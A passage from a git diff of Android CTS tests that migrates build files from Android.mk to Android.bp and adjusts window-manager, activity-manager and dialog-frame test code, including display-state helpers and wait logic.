\ No newline at end of file
diff --git a/tests/fragment/sdk26/Android.bp b/tests/fragment/sdk26/Android.bp
new file mode 100644
index 0000000..b986a32
--- /dev/null
+++ b/tests/fragment/sdk26/Android.bp
@@ -0,0 +1,40 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsFragmentTestCasesSdk26",
+    defaults: ["cts_defaults"],
+
+     dex_preopt: {
+        enabled: false,
+    },
+
+   optimize: {
+        enabled: false,
+    },
+
+    static_libs: ["androidx.test.rules"],
+
+    srcs: ["src/**/*.java"],
+
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+
+    sdk_version: "26",
+}
diff --git a/tests/fragment/sdk26/Android.mk b/tests/fragment/sdk26/Android.mk
deleted file mode 100644
index a2d2570..0000000
--- a/tests/fragment/sdk26/Android.mk
+++ /dev/null
@@ -1,40 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsFragmentTestCasesSdk26
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_DEX_PREOPT := false
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_STATIC_JAVA_LIBRARIES += androidx.test.rules
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_SDK_VERSION := 26
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/fragment/sdk26/TEST_MAPPING b/tests/fragment/sdk26/TEST_MAPPING
new file mode 100644
index 0000000..28bdfed
--- /dev/null
+++ b/tests/fragment/sdk26/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsFragmentTestCasesSdk26"
+    }
+  ]
+}
\ No newline at end of file
diff --git a/tests/framework/base/activitymanager/app/Android.bp b/tests/framework/base/activitymanager/app/Android.bp
new file mode 100644
index 0000000..41557b4
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/Android.bp
@@ -0,0 +1,18 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+filegroup {
+    name: "cts-amwm-components",
+    srcs: ["**/Components.java"],
+}
diff --git a/tests/framework/base/activitymanager/appPrereleaseSdk/fake-framework/res/values/values.xml b/tests/framework/base/activitymanager/appPrereleaseSdk/fake-framework/res/values/values.xml
index 04cace4..5085834 100644
--- a/tests/framework/base/activitymanager/appPrereleaseSdk/fake-framework/res/values/values.xml
+++ b/tests/framework/base/activitymanager/appPrereleaseSdk/fake-framework/res/values/values.xml
@@ -37,6 +37,9 @@
     <public type="attr" name="targetSdkVersion" id="0x01010270" />
     <attr name="targetSdkVersion" format="integer|string" />
 
+    <public type="attr" name="extractNativeLibs" id="0x10104ea" />
+    <attr name="extractNativeLibs" format="boolean" />
+
     <public type="attr" name="compileSdkVersion" id="0x01010572" />
     <attr name="compileSdkVersion" format="integer" />
 
diff --git a/tests/framework/base/activitymanager/app_base/Android.bp b/tests/framework/base/activitymanager/app_base/Android.bp
new file mode 100644
index 0000000..437e8c5
--- /dev/null
+++ b/tests/framework/base/activitymanager/app_base/Android.bp
@@ -0,0 +1,18 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+filegroup {
+    name: "cts-amwm-components-base",
+    srcs: ["**/ComponentsBase.java"],
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerActivityVisibilityTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerActivityVisibilityTests.java
index 853c0bd..09eae84 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerActivityVisibilityTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerActivityVisibilityTests.java
@@ -50,6 +50,7 @@
 import static android.server.am.Components.TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY;
 import static android.server.am.Components.TURN_SCREEN_ON_WITH_RELAYOUT_ACTIVITY;
 import static android.server.am.UiDeviceUtils.pressBackButton;
+import static android.server.am.VirtualDisplayHelper.waitForDefaultDisplayState;
 
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotEquals;
@@ -238,8 +239,6 @@
         // Launch a different activity on top.
         launchActivity(BROADCAST_RECEIVER_ACTIVITY);
         mAmWmState.waitForActivityState(BROADCAST_RECEIVER_ACTIVITY, STATE_RESUMED);
-        // Wait for transition complete.
-        mAmWmState.waitForValidState(MOVE_TASK_TO_BACK_ACTIVITY);
         final boolean shouldBeVisible =
                 !mAmWmState.getAmState().isBehindOpaqueActivities(MOVE_TASK_TO_BACK_ACTIVITY);
         mAmWmState.assertVisibility(MOVE_TASK_TO_BACK_ACTIVITY, shouldBeVisible);
@@ -446,9 +445,7 @@
             mAmWmState.assertVisibility(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY, true);
             // Wait more for display state change since turning the display ON may take longer
             // and reported after the activity launch.
-            mAmWmState.waitFor(
-                    "***Waiting for display to turn on...",
-                    ()->{ return isDisplayOn(); });
+            waitForDefaultDisplayState(true /* wantOn */);
             assertTrue("Display turns on", isDisplayOn());
             assertSingleStart(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY, logSeparator);
         }
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAmStartOptionsTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAmStartOptionsTests.java
index cf62868..329fa31 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAmStartOptionsTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAmStartOptionsTests.java
@@ -77,9 +77,8 @@
 
         // Test warm start
         pressHomeButton();
-        mAmWmState.waitForHomeActivityVisible();
         startActivityAndVerifyResult(entryActivity, actualActivity, false);
-        mAmWmState.waitForValidState(actualActivity);
+
         // Test "hot" start (app already in front)
         startActivityAndVerifyResult(entryActivity, actualActivity, false);
     }
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerManifestLayoutTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerManifestLayoutTests.java
index 615a442..b491a9f 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerManifestLayoutTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerManifestLayoutTests.java
@@ -35,14 +35,10 @@
 import android.graphics.Rect;
 import android.server.am.WindowManagerState.Display;
 import android.server.am.WindowManagerState.WindowState;
-import androidx.test.InstrumentationRegistry;
-import android.support.test.uiautomator.UiDevice;
 
 import org.junit.Test;
 
 import java.util.List;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
 
 /**
  * Build/Install/Run:
@@ -99,38 +95,7 @@
     public void testMinimalSizeDocked() throws Exception {
         assumeTrue("Skipping test: no multi-window support", supportsSplitScreenMultiWindow());
 
-        // We are allowed to set device density to anything different than default,
-        // however, the way we realize is to set a new property to overlay it,
-        // so mDisplay.getDpi() cannot get our real density, now we will run command
-        // automatically switch to native density before the test excecutes and restore later.
-        UiDevice uiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
-        int density = 0;
-        try {
-             density = resetDensityIfNeeded(uiDevice);
-
-             testMinimalSize(WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
-
-        } finally {
-             restoreDensityIfNeeded(uiDevice, density);
-        }
-    }
-
-    private int resetDensityIfNeeded(UiDevice device) throws Exception {
-        final String output = device.executeShellCommand("wm density");
-         final Pattern p = Pattern.compile("Override density: (\\d+)");
-         final Matcher m = p.matcher(output);
-         if (m.find()) {
-             device.executeShellCommand("wm density reset");
-             int restoreDensity = Integer.parseInt(m.group(1));
-             return restoreDensity;
-         }
-         return -1;
-    }
-
-    private void restoreDensityIfNeeded(UiDevice device, int restoreDensity) throws Exception {
-        if (restoreDensity > 0) {
-            device.executeShellCommand("wm density " + restoreDensity);
-        }
+        testMinimalSize(WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
     }
 
     private void testMinimalSize(int windowingMode) throws Exception {
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerPinnedStackTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerPinnedStackTests.java
index 062e103..4dceb4c 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerPinnedStackTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerPinnedStackTests.java
@@ -637,14 +637,17 @@
         launchActivity(TEST_ACTIVITY);
 
         // Launch an auto pip activity
-        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+        launchActivity(PIP_ACTIVITY,
+                EXTRA_ENTER_PIP, "true",
+                EXTRA_REENTER_PIP_ON_EXIT, "true");
         waitForEnterPip(PIP_ACTIVITY);
         assertPinnedStackExists();
 
         // Relaunch the activity to fullscreen to trigger the activity to exit and re-enter pip
         launchActivity(PIP_ACTIVITY);
-        waitForExitPipToFullscreen(PIP_ACTIVITY);
-        executeShellCommand("am broadcast -a " + ACTION_ENTER_PIP);
+        mAmWmState.waitForWithAmState(amState ->
+                amState.getFrontStackWindowingMode(DEFAULT_DISPLAY) == WINDOWING_MODE_FULLSCREEN,
+                "Waiting for PIP to exit to fullscreen");
         waitForEnterPipAnimationComplete(PIP_ACTIVITY);
         mAmWmState.assertVisibility(TEST_ACTIVITY, true);
     }
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerSplitScreenTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerSplitScreenTests.java
index 655d866..c2f2089 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerSplitScreenTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerSplitScreenTests.java
@@ -492,7 +492,6 @@
                         TRANSIT_WALLPAPER_OPEN, mAmWmState.getWmState().getLastTransition());
                 pressHomeButton();
                 mAmWmState.waitForHomeActivityVisible();
-                mAmWmState.waitForAppTransitionIdle();
 
                 assertEquals(TRANSIT_WALLPAPER_OPEN, mAmWmState.getWmState().getLastTransition());
             }
@@ -520,8 +519,6 @@
             lockScreenSession.sleepDevice()
                     .wakeUpDevice()
                     .unlockDevice();
-            pressHomeButton();
-            mAmWmState.waitForHomeActivityVisible();
             mAmWmState.computeState(TEST_ACTIVITY);
             assertDockMinimized();
         }
diff --git a/tests/framework/base/activitymanager/src/android/server/am/KeyguardLockedTests.java b/tests/framework/base/activitymanager/src/android/server/am/KeyguardLockedTests.java
index 0a99cc5..5d2d82b 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/KeyguardLockedTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/KeyguardLockedTests.java
@@ -170,11 +170,7 @@
             lockScreenSession.setLockCredential().sleepDevice();
 
             mAmWmState.computeState(true);
-            if (!isWatch()) {
-                // On P watches, keyguard windows are only shown while in interactive to allow
-                // SysUI implementation to show in ambient mode.
-                assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
-            }
+            assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
             launchActivity(TURN_SCREEN_ON_ATTR_DISMISS_KEYGUARD_ACTIVITY);
             mAmWmState.waitForKeyguardShowingAndNotOccluded();
             mAmWmState.assertVisibility(TURN_SCREEN_ON_ATTR_DISMISS_KEYGUARD_ACTIVITY, false);
diff --git a/tests/framework/base/activitymanager/src/android/server/am/VirtualDisplayHelper.java b/tests/framework/base/activitymanager/src/android/server/am/VirtualDisplayHelper.java
index 5a5e650..9db5f8e 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/VirtualDisplayHelper.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/VirtualDisplayHelper.java
@@ -30,7 +30,6 @@
 import android.hardware.display.VirtualDisplay;
 import android.media.ImageReader;
 import android.os.SystemClock;
-import android.view.Display;
 
 import androidx.annotation.Nullable;
 
@@ -53,8 +52,6 @@
 
     private static final Pattern DISPLAY_DEVICE_PATTERN = Pattern.compile(
             ".*DisplayDeviceInfo\\{\"([^\"]+)\":.*, state (\\S+),.*\\}.*");
-    private static final Pattern DEFAULT_DISPLAY_PATTERN = Pattern.compile(
-            "(mDisplayId=" + Display.DEFAULT_DISPLAY + ")([\\s\\S]*?)(mPrimaryDisplayDevice=)(.*)");
     private static final int DENSITY = 160;
     private static final int HEIGHT = 480;
     private static final int WIDTH = 800;
@@ -127,20 +124,9 @@
     @Nullable
     private static Boolean getDisplayState(boolean defaultDisplay) {
         final String dump = executeShellCommand("dumpsys display");
-        String defaultDisplayName = null;
-        // Finds the corresponding physical display among current multiple default logical displays
-        // and read the proper display state.
-        if (defaultDisplay) {
-            final Matcher matcher = DEFAULT_DISPLAY_PATTERN.matcher(dump);
-            if (matcher.find()) {
-                defaultDisplayName = matcher.group(4);
-            }
-            if (defaultDisplayName == null) {
-                return null;
-            }
-        }
-        final String displayName = defaultDisplay ? defaultDisplayName : VIRTUAL_DISPLAY_NAME;
-        final Predicate<Matcher> displayNameMatcher = m -> m.group(1).equals(displayName);
+        final Predicate<Matcher> displayNameMatcher = defaultDisplay
+                ? m -> m.group(0).contains("FLAG_DEFAULT_DISPLAY")
+                : m -> m.group(1).equals(VIRTUAL_DISPLAY_NAME);
         for (final String line : dump.split("\\n")) {
             final Matcher matcher = DISPLAY_DEVICE_PATTERN.matcher(line);
             if (matcher.matches() && displayNameMatcher.test(matcher)) {
diff --git a/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleTests.java b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleTests.java
index e961eca..0e92146 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleTests.java
@@ -346,7 +346,6 @@
         getLaunchActivityBuilder().execute();
 
         waitAndAssertActivityStates(state(secondActivity, ON_PAUSE));
-        waitAndAssertActivityStates(state(callbackTrackingActivity, ON_STOP));
 
         // Finish top activity and verify that activity below became focused.
         getLifecycleLog().clear();
@@ -397,7 +396,7 @@
         getLaunchActivityBuilder().execute();
 
         waitAndAssertActivityStates(state(secondActivity, ON_PAUSE));
-        waitAndAssertActivityStates(state(firstActivity, ON_STOP));
+
         getLifecycleLog().clear();
 
         // Finish top activity
diff --git a/tests/framework/base/activitymanager/util/Android.bp b/tests/framework/base/activitymanager/util/Android.bp
new file mode 100644
index 0000000..0b86047
--- /dev/null
+++ b/tests/framework/base/activitymanager/util/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2012 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test {
+    name: "cts-amwm-util",
+
+    srcs: [
+        "src/**/*.java",
+        ":cts-amwm-components",
+        ":cts-amwm-components-base",
+    ],
+
+    static_libs: [
+        "platformprotosnano",
+        "compatibility-device-util-axt",
+        "androidx.test.rules", "hamcrest-library",
+    ],
+
+    sdk_version: "test_current",
+}
diff --git a/tests/framework/base/activitymanager/util/Android.mk b/tests/framework/base/activitymanager/util/Android.mk
deleted file mode 100644
index 15d3412..0000000
--- a/tests/framework/base/activitymanager/util/Android.mk
+++ /dev/null
@@ -1,38 +0,0 @@
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests optional
-
-LOCAL_SRC_FILES := \
-    $(call all-java-files-under, src) \
-    $(call all-named-files-under,Components.java, ../app) \
-    $(call all-named-files-under,ComponentsBase.java, ../app_base)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    platformprotosnano \
-    compatibility-device-util-axt \
-    androidx.test.rules \
-    hamcrest-library
-
-LOCAL_MODULE := cts-amwm-util
-
-LOCAL_SDK_VERSION := test_current
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerTestBase.java b/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerTestBase.java
index 9ea3825..192a1ac 100644
--- a/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerTestBase.java
+++ b/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerTestBase.java
@@ -244,11 +244,7 @@
 
         pressWakeupButton();
         pressUnlockButton();
-        // Using launchHomeActivity to replace pressHomeButton here.
-        // pressHomeButton will trigger AMS.stopAppSwitches, if we using instrumentation to launch
-        // test activity, then the activity would be launched after 5 seconds, which may cause some
-        // tests failed.
-        launchHomeActivity();
+        pressHomeButton();
         removeStacksWithActivityTypes(ALL_ACTIVITY_TYPE_BUT_HOME);
     }
 
@@ -261,7 +257,7 @@
         executeShellCommand(AM_FORCE_STOP_TEST_PACKAGE);
         executeShellCommand(AM_FORCE_STOP_SECOND_TEST_PACKAGE);
         executeShellCommand(AM_FORCE_STOP_THIRD_TEST_PACKAGE);
-        launchHomeActivity();
+        pressHomeButton();
     }
 
     protected void removeStacksWithActivityTypes(int... activityTypes) {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/CrossAppDragAndDropTests.java b/tests/framework/base/windowmanager/src/android/server/wm/CrossAppDragAndDropTests.java
index 429dca2..ca425d3 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/CrossAppDragAndDropTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/CrossAppDragAndDropTests.java
@@ -36,13 +36,11 @@
 import android.app.ActivityManager;
 import android.content.Context;
 import android.graphics.Point;
-import android.hardware.display.DisplayManager;
 import android.os.RemoteException;
 import android.os.SystemClock;
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.Presubmit;
 import android.util.Log;
-import android.view.Display;
 
 import androidx.test.InstrumentationRegistry;
 
@@ -123,7 +121,6 @@
 
     protected Context mContext;
     protected ActivityManager mAm;
-    protected DisplayManager mDm;
 
     private Map<String, String> mSourceResults;
     private Map<String, String> mTargetResults;
@@ -146,7 +143,6 @@
 
         mContext = InstrumentationRegistry.getContext();
         mAm = mContext.getSystemService(ActivityManager.class);
-        mDm = mContext.getSystemService(DisplayManager.class);
 
         mSourcePackageName = SOURCE_PACKAGE_NAME;
         mTargetPackageName = TARGET_PACKAGE_NAME;
@@ -312,9 +308,9 @@
     }
 
     private Point getDisplaySize() throws Exception {
-        final Point displaySize = new Point();
-        mDm.getDisplay(Display.DEFAULT_DISPLAY).getRealSize(displaySize);
-        return displaySize;
+        final String output = executeShellCommand("wm size");
+        final String[] sizes = output.split(" ")[2].split("x");
+        return new Point(Integer.valueOf(sizes[0].trim()), Integer.valueOf(sizes[1].trim()));
     }
 
     private Point getWindowCenter(String name) throws Exception {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTestActivity.java b/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTestActivity.java
index b43b06d..822d103 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTestActivity.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTestActivity.java
@@ -56,7 +56,6 @@
     static final String TEST_WITH_MARGINS = "WithMargins";
 
     private AlertDialog mDialog;
-    int mSize;
 
     @Override
     protected void onStop() {
@@ -72,7 +71,6 @@
 
     private void setupTest(Intent intent) {
         final String testCase = intent.getStringExtra(EXTRA_TEST_CASE);
-        mSize = getSize();
         switch (testCase) {
             case TEST_MATCH_PARENT:
                 testMatchParent();
@@ -145,23 +143,23 @@
 
     private void testExplicitSize() {
         doLayoutParamTest(params -> {
-            params.width = mSize;
-            params.height = mSize;
+            params.width = 200;
+            params.height = 200;
         });
     }
 
     private void testExplicitSizeTopLeftGravity() {
         doLayoutParamTest(params -> {
-            params.width = mSize;
-            params.height = mSize;
+            params.width = 200;
+            params.height = 200;
             params.gravity = Gravity.TOP | Gravity.LEFT;
         });
     }
 
     private void testExplicitSizeBottomRightGravity() {
         doLayoutParamTest(params -> {
-            params.width = mSize;
-            params.height = mSize;
+            params.width = 200;
+            params.height = 200;
             params.gravity = Gravity.BOTTOM | Gravity.RIGHT;
         });
     }
@@ -211,15 +209,10 @@
             params.gravity = Gravity.LEFT | Gravity.TOP;
             params.horizontalMargin = .25f;
             params.verticalMargin = .35f;
-            params.width = mSize;
-            params.height = mSize;
+            params.width = 200;
+            params.height = 200;
             params.x = 0;
             params.y = 0;
         });
     }
-    
-    private int getSize() {
-        float density = getResources().getDisplayMetrics().density;
-        return (int)(146 * density);
-    }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java b/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java
index 00eb590..c7208f3 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java
@@ -47,7 +47,6 @@
 import org.junit.Ignore;
 import org.junit.Rule;
 import org.junit.Test;
-import org.junit.Before;
 
 import java.util.List;
 
@@ -68,15 +67,6 @@
             new ActivityTestRule<>(DialogFrameTestActivity.class, false /* initialTOuchMode */,
                     false /* launchActivity */);
 
-    @Before
-    public void setUp() {
-        try {
-            super.setUp();
-        } catch (Exception ex) {
-        }
-        mSize = getSize();
-    }
-    
     @Override
     ComponentName activityName() {
         return DIALOG_FRAME_TEST_ACTIVITY;
@@ -127,7 +117,6 @@
     }
 
     private static final int explicitDimension = 200;
-    private int mSize = explicitDimension;
 
     // The default gravity for dialogs should center them.
     @Test
@@ -135,10 +124,10 @@
         doParentChildTest(TEST_EXPLICIT_SIZE, (parent, dialog) -> {
             Rect contentFrame = parent.getContentFrame();
             Rect expectedFrame = new Rect(
-                    contentFrame.left + (contentFrame.width() - mSize) / 2,
-                    contentFrame.top + (contentFrame.height() - mSize) / 2,
-                    contentFrame.left + (contentFrame.width() + mSize) / 2,
-                    contentFrame.top + (contentFrame.height() + mSize) / 2);
+                    contentFrame.left + (contentFrame.width() - explicitDimension) / 2,
+                    contentFrame.top + (contentFrame.height() - explicitDimension) / 2,
+                    contentFrame.left + (contentFrame.width() + explicitDimension) / 2,
+                    contentFrame.top + (contentFrame.height() + explicitDimension) / 2);
             assertEquals(expectedFrame, dialog.getFrame());
         });
     }
@@ -150,8 +139,8 @@
             Rect expectedFrame = new Rect(
                     contentFrame.left,
                     contentFrame.top,
-                    contentFrame.left + mSize,
-                    contentFrame.top + mSize);
+                    contentFrame.left + explicitDimension,
+                    contentFrame.top + explicitDimension);
             assertEquals(expectedFrame, dialog.getFrame());
         });
     }
@@ -161,8 +150,8 @@
         doParentChildTest(TEST_EXPLICIT_SIZE_BOTTOM_RIGHT_GRAVITY, (parent, dialog) -> {
             Rect contentFrame = parent.getContentFrame();
             Rect expectedFrame = new Rect(
-                    contentFrame.left + contentFrame.width() - mSize,
-                    contentFrame.top + contentFrame.height() - mSize,
+                    contentFrame.left + contentFrame.width() - explicitDimension,
+                    contentFrame.top + contentFrame.height() - explicitDimension,
                     contentFrame.left + contentFrame.width(),
                     contentFrame.top + contentFrame.height());
             assertEquals(expectedFrame, dialog.getFrame());
@@ -247,8 +236,8 @@
             Rect expectedFrame = new Rect(
                     (int) (horizontalMargin * frame.width() + frame.left),
                     (int) (verticalMargin * frame.height() + frame.top),
-                    (int) (horizontalMargin * frame.width() + frame.left) + mSize,
-                    (int) (verticalMargin * frame.height() + frame.top) + mSize);            
+                    (int) (horizontalMargin * frame.width() + frame.left) + explicitDimension,
+                    (int) (verticalMargin * frame.height() + frame.top) + explicitDimension);
             assertEquals(expectedFrame, dialog.getFrame());
         });
     }
@@ -262,10 +251,4 @@
                 assertThat(wmState.getZOrder(dialog), greaterThan(wmState.getZOrder(parent)))
         );
     }
-    
-    private int getSize() {
-        float density =
-                InstrumentationRegistry.getContext().getResources().getDisplayMetrics().density;
-        return (int)(146 * density);
-    }
 }
diff --git a/tests/inputmethod/Android.bp b/tests/inputmethod/Android.bp
new file mode 100644
index 0000000..1309bcb
--- /dev/null
+++ b/tests/inputmethod/Android.bp
@@ -0,0 +1,41 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsInputMethodTestCases",
+    defaults: ["cts_defaults"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+    compile_multilib: "both",
+    libs: ["android.test.runner.stubs"],
+    static_libs: [
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "CtsMockInputMethodLib",
+    ],
+    srcs: [
+        "src/**/*.java",
+        "src/**/I*.aidl",
+    ],
+    aidl: {
+        local_include_dirs: ["src"],
+    },
+    sdk_version: "test_current",
+}
diff --git a/tests/inputmethod/Android.mk b/tests/inputmethod/Android.mk
deleted file mode 100644
index 1315844..0000000
--- a/tests/inputmethod/Android.mk
+++ /dev/null
@@ -1,49 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_MULTILIB := both
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    androidx.test.rules \
-    compatibility-device-util-axt \
-    ctstestrunner-axt \
-    CtsMockInputMethod
-
-LOCAL_SRC_FILES := \
-    $(call all-java-files-under, src) \
-    $(call all-Iaidl-files-under, src)
-
-LOCAL_AIDL_INCLUDES += $(LOCAL_PATH)/src
-
-LOCAL_PACKAGE_NAME := CtsInputMethodTestCases
-
-LOCAL_SDK_VERSION := test_current
-
-include $(BUILD_CTS_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/inputmethod/mockime/Android.bp b/tests/inputmethod/mockime/Android.bp
new file mode 100644
index 0000000..81a8f08
--- /dev/null
+++ b/tests/inputmethod/mockime/Android.bp
@@ -0,0 +1,30 @@
